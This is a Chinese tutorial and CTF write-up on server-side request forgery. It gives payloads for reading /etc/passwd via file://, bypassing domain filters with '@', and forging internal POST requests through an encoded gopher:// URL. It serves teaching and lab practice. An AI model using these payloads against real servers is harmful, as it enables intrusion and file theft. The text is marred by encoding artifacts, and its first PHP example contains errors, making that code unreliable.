SSRF 服務(wù)器端請(qǐng)求偽造(借刀沙人)
SSRF(全稱(chēng)Server-Side Request Forgery),即服務(wù)器端請(qǐng)求偽造,是一種利用漏洞來(lái)偽造服務(wù)器端發(fā)起請(qǐng)求的漏洞攻擊。由于請(qǐng)求都是由內(nèi)部發(fā)起的,所以一般情況下,SSRF漏洞攻擊的目標(biāo)往往是從外網(wǎng)無(wú)法正常訪問(wèn)的內(nèi)部系統(tǒng),因此可以總結(jié)為借刀kill人。
漏洞危害:
- 掃描內(nèi)網(wǎng)開(kāi)放端口服務(wù)
- 向內(nèi)網(wǎng)中的任意主機(jī)的任意端口發(fā)送payload來(lái)攻擊內(nèi)網(wǎng)服務(wù)
- 向內(nèi)網(wǎng)發(fā)動(dòng)DOS攻擊
- 攻擊內(nèi)網(wǎng)的Web應(yīng)用(如直接SQL注入、XSS攻擊等)
- 利用file、gopher、dict協(xié)議來(lái)讀取本地文件、執(zhí)行命令等
漏洞原理:
SSRF漏洞原理就是將發(fā)起請(qǐng)求的服務(wù)器當(dāng)作跳板,從而可以由其來(lái)攻擊內(nèi)網(wǎng)中的一些其他服務(wù)。
從pikachu中來(lái)看:
PHP中下面函數(shù)的使用不當(dāng)會(huì)導(dǎo)致SSRF:
file_get_contents()
fsockopen()
curl_exec()
例子:
// 請(qǐng)求對(duì)方頁(yè)面前端源代碼,在當(dāng)前頁(yè)碼進(jìn)行展示
<?php
function curl($url){
// 創(chuàng)建一個(gè)新的curl資源
$ch = curl_init();
// 設(shè)置URL和相應(yīng)的選項(xiàng)
curl_setopt($ch, option:CIRLOPT_URL, &url);
curl_setopt($ch, option:CIRLOPT_HEADER, value:false);
// 抓取url并把它傳遞給瀏覽器
curl_exec($ch);
// 關(guān)閉curl資源,并且釋放系統(tǒng)資源
curl_close($ch);
}
url = $_GET['url'];
curl($url);
?>
利用一個(gè)網(wǎng)站:www.cip.cc來(lái)理解SSRF漏洞,首先使用我的本機(jī)訪問(wèn)該網(wǎng)站,會(huì)發(fā)現(xiàn)網(wǎng)站上回顯的IP地址和信息都是我本機(jī)的:
然后,使用百度翻譯翻譯頁(yè)面功能來(lái)訪問(wèn)該頁(yè)面,會(huì)發(fā)現(xiàn)此時(shí)的IP變?yōu)榱税俣鹊腎P,也就是說(shuō)這一個(gè)訪問(wèn)請(qǐng)求,其實(shí)是由百度的服務(wù)器來(lái)發(fā)起的,而不是攻擊者。SSRF的原理就是將控制功能中發(fā)起請(qǐng)求的服務(wù)當(dāng)作跳板攻擊內(nèi)網(wǎng)中的其他服務(wù)。
過(guò)濾繞過(guò):
SSRF中當(dāng)跳轉(zhuǎn)被過(guò)濾,例如如果域名不是以xxx為開(kāi)頭的,就不讓執(zhí)行,那么此時(shí)就可以使用@符號(hào)來(lái)繞過(guò):
?url=http://xxx@baidu.com
使用該方式,那么在解析域名時(shí),會(huì)將@前的內(nèi)容當(dāng)作用戶名密碼。例如,此時(shí)限制了只能訪問(wèn)www.aaa.com域名地址,但是你想要訪問(wèn)www.bbb.com,就可以構(gòu)造語(yǔ)句為:
?url=http://www.aaa.com@www.bbb.com
那么,此時(shí)curl識(shí)別到的域名地址為www.bbb.com,則可正常訪問(wèn)到它。
協(xié)議利用:
包括但不僅限于:
file協(xié)議:可以通過(guò)file協(xié)議來(lái)讀取系統(tǒng)的文件內(nèi)容
dict協(xié)議:字典服務(wù)器協(xié)議,讓客戶端能夠訪問(wèn)更多字典源。在SSRF中可以獲取目標(biāo)服務(wù)器上運(yùn)行的服務(wù)版本等信息
gopher協(xié)議:gopher是Internet上一個(gè)非常有名的信息查找系統(tǒng),它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處。使用gopher協(xié)議時(shí),通過(guò)控制訪問(wèn)的URL可實(shí)現(xiàn)向指定的服務(wù)器發(fā)送任意內(nèi)容,如HTTP請(qǐng)求、MySQL請(qǐng)求等,所以其攻擊面非常之廣。
此處我們先著重講解一下file協(xié)議:
同樣通過(guò)pikachu來(lái)進(jìn)行測(cè)試,嘗試訪問(wèn)我的服務(wù)器的/etc/passwd文件
此處可以發(fā)現(xiàn),通過(guò)file協(xié)議構(gòu)造payload:
?url=file:///etc/passwd
是讀取到了我服務(wù)器的/etc/passwd的文件內(nèi)容的,采取同樣的方法,我是可以對(duì)我的服務(wù)器讀取更多的文件內(nèi)容的。
例題:
首先從題目來(lái)看,涉及到了ssrf漏洞的利用代碼curl_exec
此處出現(xiàn)了一個(gè)函數(shù)parse_url(),該函數(shù)的功能為解析 URL 并返回關(guān)聯(lián)數(shù)組,包含在 URL 中出現(xiàn)的各種組成部分,對(duì)嚴(yán)重不合格的 URL,parse_url() 可能會(huì)返回 false
。 也就是說(shuō),此時(shí)我傳入的url必須為一個(gè)符合規(guī)定格式的url地址,就比如以http://開(kāi)頭。
如果url格式不正確的話,就會(huì)返回一個(gè)"Can not parse url:".$_GET[‘url’]
從本題來(lái)看,他說(shuō)他在baidu.com下放了一個(gè)flag.txt,但是試想一下,這個(gè)baidu.com是不可能為真正的百度的那個(gè)域名的,所以此處這個(gè)baidu.com應(yīng)該為出題者所建的一個(gè)目錄,所以就是ssrf讀文件,我們就想到使用file協(xié)議來(lái)讀取flag.txt這個(gè)文件。
并且,此處分析語(yǔ)句:
substr($_GET['url'], strlen('http://'), strlen('baidu.com')) === 'baidu.com'
等價(jià)于:substr(url,7,9) === 'baidu.com'
此處表示,截取所輸入內(nèi)容中的從第7位開(kāi)始,長(zhǎng)度為9的字符串,如果他的內(nèi)容為baidu.com,那么程序也會(huì)die,而且我們所需要用的file://協(xié)議恰巧與http://協(xié)議長(zhǎng)度相同,就很氣人。
就想到需要繞過(guò)這個(gè)限制,使用我們上面有講到的@符號(hào)來(lái)嘗試,那么就構(gòu)造payload:
?url=file://@baidu.com/flag.txt
成功得到flag
ssrf打內(nèi)網(wǎng)姿勢(shì):
例如當(dāng)知道對(duì)應(yīng)服務(wù)器內(nèi)網(wǎng)的一個(gè)IP,即可通過(guò)ssrf點(diǎn)獲取該內(nèi)網(wǎng)IP的內(nèi)容,進(jìn)而利用內(nèi)網(wǎng)中的一些語(yǔ)句,例如此時(shí)123.php是內(nèi)網(wǎng)中的一個(gè)可以利用的頁(yè)面:
此時(shí)源碼若變?yōu)?_POST的形式來(lái)傳入w,發(fā)現(xiàn)無(wú)法繼續(xù)正常得到flag,即可引出以下內(nèi)容:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-jGQSmdAq-1680420003151)(…/AppData/Typora/typora-user-images/image-20230402144509798.png)]
ssrf打內(nèi)網(wǎng)post傳參:
此時(shí)需要使用gopher協(xié)議(萬(wàn)金油協(xié)議):
格式:
gopher://
gopher協(xié)議是Internet上一個(gè)非常有名的信息查找系統(tǒng),其將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處。允許用戶使用層疊結(jié)構(gòu)的菜單與文件,以發(fā)現(xiàn)和檢索信息,它擁有世界上最大、最神奇的編目。
<?php
show_source(__FILE__);
function curl($url){
//創(chuàng)建一個(gè)新的curl資源
$ch = curl_init();
//設(shè)置URL和相應(yīng)的選項(xiàng)
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,false);
//抓取URL并把它傳遞給瀏覽器
curl_exec($ch);
//關(guān)閉curl資源,并且釋放系統(tǒng)資源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
本地搭建以上代碼運(yùn)行
此時(shí)模擬內(nèi)網(wǎng)環(huán)境下,有一個(gè)111.php,內(nèi)容如下:
<?php
show_source(__FILE__);
echo file_get_contents($_POST[w]);
接下來(lái)就需要通過(guò)構(gòu)造語(yǔ)句通過(guò)gopher協(xié)議來(lái)利用內(nèi)網(wǎng)中的111.php文件,先構(gòu)造一個(gè)簡(jiǎn)單包,使用burp抓取傳參的數(shù)據(jù)包,并簡(jiǎn)化:
gopher協(xié)議需要進(jìn)行編碼,接下來(lái)需要將這個(gè)數(shù)據(jù)包中的空格替換成%20,換行替換成%0D%0A
POST%20/index.php/111.php?_ijt=5cbcuvrso4ghgg0j29db0oqcjb&_ij_reload=RELOAD_ON_SAVE%20HTTP/1.1%0D%0AHost:%20localhost:63342%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%205%0D%0A%0D%0Aw=111
接下來(lái)需要對(duì)其進(jìn)行url編碼,并且payload前還需要加內(nèi)容,并對(duì)w所需得到的文件修改,同時(shí)修改Content-Length的值
payload:
gopher://localhost:63342/_POST%20/index.php/111.php?_ijt=5cbcuvrso4ghgg0j29db0oqcjb&_ij_reload=RELOAD_ON_SAVE%20HTTP/1.1%0D%0AHost:%20localhost:63342%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2010%0D%0A%0D%0Aw=flag.php
在進(jìn)行url編碼文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-764513.html
http://localhost:63342/index.php/123.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%36%33%33%34%32%2f%5f%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%2f%31%31%31%2e%70%68%70%3f%5f%69%6a%74%3d%35%63%62%63%75%76%72%73%6f%34%67%68%67%67%30%6a%32%39%64%62%30%6f%71%63%6a%62%26%5f%69%6a%5f%72%65%6c%6f%61%64%3d%52%45%4c%4f%41%44%5f%4f%4e%5f%53%41%56%45%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%3a%25%32%30%6c%6f%63%61%6c%68%6f%73%74%3a%36%33%33%34%32%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%25%32%30%31%30%25%30%44%25%30%41%25%30%44%25%30%41%77%3d%66%6c%61%67%2e%70%68%70
傳入即可得到flag文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-764513.html
到了這里,關(guān)于【CTF】SSRF服務(wù)器端請(qǐng)求偽造的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!